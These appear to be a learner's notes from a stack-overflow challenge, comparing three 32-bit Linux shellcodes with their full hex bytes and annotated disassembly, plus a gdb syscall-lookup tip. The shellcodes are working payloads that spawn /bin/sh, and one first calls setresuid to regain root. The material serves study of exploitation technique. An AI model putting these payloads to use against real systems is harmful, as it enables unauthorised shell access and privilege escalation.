Early morning challenge. Not that complex since I didn't even use an env variable for my shellcode because we're not in Kansas any more, Dorothy.
Open questions (given ASLR and known offsets):
Why do I need to put my shellcode address three times ?
I thought a ret
would do two things:
* pop a stack frame pointer from the stack (get $esp
)
* pop the code address from the stack (get $eip
)
What's the extra 4 bytes ? A stack cookie ? But checksec says no stack canary found.
TODO: figure this out :D
What's the difference between shellcodes ?
So far, I've got three shellcodes, and the one from shellcraft.i386.linux.sh
doesn't work. I've been told it's because it might not xor its registers. Lets
check that out ?
root-me's example
Here with /tmp/iL bc /bin/sh needs -p.
eb1f5e89760831c088460789460cb00b89f38d4e088d560ccd8031db89d840cd80e8dcffffff2f746d702f694c
hexdump:
00000000 eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b │··^·│v·1·│·F··│F···│
00000010 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 cd │···N│··V·│··1·│··@·│
00000020 80 e8 dc ff ff ff 2f 74 6d 70 2f 69 4c │····│··/t│mp/i│L│
0000002d
>>> print(disasm(a))
0: eb 1f jmp 0x21 ; go dow to 0x21
2: 5e pop esi ; benefit from the previous call
; to get the 'call' address
; store that in esi (call pushes eip
; on the stack
;
3: 89 76 08 mov DWORD PTR [esi+0x8], esi ; esi + 8 = esi
6: 31 c0 xor eax, eax ; eax = 0
8: 88 46 07 mov BYTE PTR [esi+0x7], al ; esi + 7 = 0
b: 89 46 0c mov DWORD PTR [esi+0xc], eax ; esi + 12 = 0
e: b0 0b mov al, 0xb ; eax = 11
10: 89 f3 mov ebx, esi ; ebx = esi ( /bin/sh )
12: 8d 4e 08 lea ecx, [esi+0x8] ; ecx = esi+8 = 0
15: 8d 56 0c lea edx, [esi+0xc] ; edx = esi+12 = 0
18: cd 80 int 0x80 ; syscall 11 = execve
1a: 31 db xor ebx, ebx ; ebx = 0
1c: 89 d8 mov eax, ebx ; eax = 0
1e: 40 inc eax ; eax = 1
1f: cd 80 int 0x80 ; syscall 1 = exit(0)
21: e8 dc ff ff ff call 0x2 ; go back to 0x2, benefit from the
; call side effects when it comes
; to stack management
26: 2f das ; that's just our data /bin/iL or /bin/sh
27: 74 6d je 0x96 ; >>> bytes.fromhex('2f746d702f694c')
29: 70 2f jo 0x5a ; b'/tmp/iL'
2b: 69 .byte 0x69
2c: 4c dec esp
Does:
- execve(/bin/sh)
- exit(0)
Jon Erickson's example
31c031db31c999b0a4cd806a0b5851682f2f7368682f62696e89e35189e25389e1cd80
hexdump :
>>> b = bytes.fromhex('31c031db31c999b0a4cd806a0b5851682f2f7368682f62696e89e35189e25389e1cd80')
>>> print(hexdump(b))
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 │1·1·│1···│···j│·XQh│
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 │//sh│h/bi│n··Q│··S·│
00000020 e1 cd 80 │···│
00000023
>>> print(disasm(b))
disassembly :
0: 31 c0 xor eax, eax ; wipe registers
2: 31 db xor ebx, ebx
4: 31 c9 xor ecx, ecx
6: 99 cdq ; wipe edx in a single byte
7: b0 a4 mov al, 0xa4
9: cd 80 int 0x80 ; syscall 164
; /usr/include/x86_64-linux-gnu/asm/unistd_32.h:#define __NR_setresuid 164
; /usr/include/asm-generic/unistd.h:#define __NR_setrlimit 164
; what ? I'd say this is setresuid
b: 6a 0b push 0xb
d: 58 pop eax ; set syscall to be 0xb = 11
e: 51 push ecx
f: 68 2f 2f 73 68 push 0x68732f2f ; hs// //sh
14: 68 2f 62 69 6e push 0x6e69622f ; nib/ /bin
19: 89 e3 mov ebx, esp ; put parameters on the stack
1b: 51 push ecx
1c: 89 e2 mov edx, esp
1e: 53 push ebx
1f: 89 e1 mov ecx, esp
21: cd 80 int 0x80 ; syscall 11
; execve, confirms the setresuid hypothesis above.
; /usr/include/x86_64-linux-gnu/asm/unistd_32.h:#define __NR_execve 11
; /usr/include/asm-generic/unistd.h:#define __NR_listxattr 11
Does: - setresuid(0) - execve(/bin/sh)
shellcraft.i386.linux.sh
>>> print(shellcraft.i386.linux.sh())
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101 // avoid having null bytes by writigin sh\x01\x01
xor dword ptr [esp], 0x1016972 // then xor with \x01\x01 6972=ir 6873=hs
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
Conclusion of the shellcode differences
So it seems this one just execve(/bin/sh). But the main difference is that this one pushes stuff straight on the stack. So if your stack = your shellcode, things get messy pretty quickly, since the first push operations are altering the very shellcode itself.
Jon Erickson's one as well does this, but maybe the setresuid() code leaves enough room for these few bytes.
root-me's example (from shellcode.org/shellcode/linux/null-free/ ) is better
because it doesn't really use the stack that much, instead it relies on the
shellcode trailer, which means its command line can be tuned without length
problems. That being said, it shouldn't be more robust to having esp=shellcode
since call
would overwrite the first 4 bytes of the shellcode, altering the
called pop esi
at 0x2.
On monday, we'll most likely be toying around with %n
or something.
2022-10-17 notes from after writing this
shellcode further reading
Reading Jon Erickson's chapter on shellcode, looks like all of this is covered.
* the jump/call trick to get a relative string payload address
* the reason behind setresuid
being used to restore privileges if they got dropped (not our case)
* the cdq
(99
) shorter than xor edx,edx
(31 D2
)
* the push byte;pop eax
trick uses 3 bytes and not 4 to load a 4-bytes register
syscall protip
gdb
comes with nice little XML describing the syscalls.
converting the xml to json so that jq can use input_filename
, otherwise the xq
packaged in the yq
pip package passes content to jq
's stdin and it's not fancy:
root@debian:/usr/share/gdb/syscalls# for i in *xml ; do xq . "${i}" > "${i/xml/json}" ; done
number to name:
$ jq '.syscalls_info.syscall[]|select(."@number"=="11")|[input_filename,."@name"]|join("\t")' /usr/share/gdb/syscalls/*json -r | column -s$'\t' -t
/usr/share/gdb/syscalls/aarch64-linux.json listxattr
/usr/share/gdb/syscalls/amd64-linux.json munmap
/usr/share/gdb/syscalls/arm-linux.json execve
/usr/share/gdb/syscalls/freebsd.json execv
/usr/share/gdb/syscalls/i386-linux.json execve
/usr/share/gdb/syscalls/netbsd.json execv
/usr/share/gdb/syscalls/ppc64-linux.json execve
/usr/share/gdb/syscalls/ppc-linux.json execve
/usr/share/gdb/syscalls/s390-linux.json execve
/usr/share/gdb/syscalls/s390x-linux.json execve
/usr/share/gdb/syscalls/sparc64-linux.json execv
name to number:
$ jq '.syscalls_info.syscall[]|select(."@name"=="read")|[input_filename,."@number"]|join("\t")' /usr/share/gdb/syscalls/*json -r | column -s$'\t' -t
/usr/share/gdb/syscalls/aarch64-linux.json 63
/usr/share/gdb/syscalls/amd64-linux.json 0
/usr/share/gdb/syscalls/arm-linux.json 3
/usr/share/gdb/syscalls/freebsd.json 3
/usr/share/gdb/syscalls/i386-linux.json 3
/usr/share/gdb/syscalls/mips-n32-linux.json 6000
/usr/share/gdb/syscalls/mips-n64-linux.json 5000
/usr/share/gdb/syscalls/mips-o32-linux.json 4003
/usr/share/gdb/syscalls/netbsd.json 3
/usr/share/gdb/syscalls/ppc64-linux.json 3
/usr/share/gdb/syscalls/ppc-linux.json 3
/usr/share/gdb/syscalls/s390-linux.json 3
/usr/share/gdb/syscalls/s390x-linux.json 3
/usr/share/gdb/syscalls/sparc64-linux.json 3
/usr/share/gdb/syscalls/sparc-linux.json 3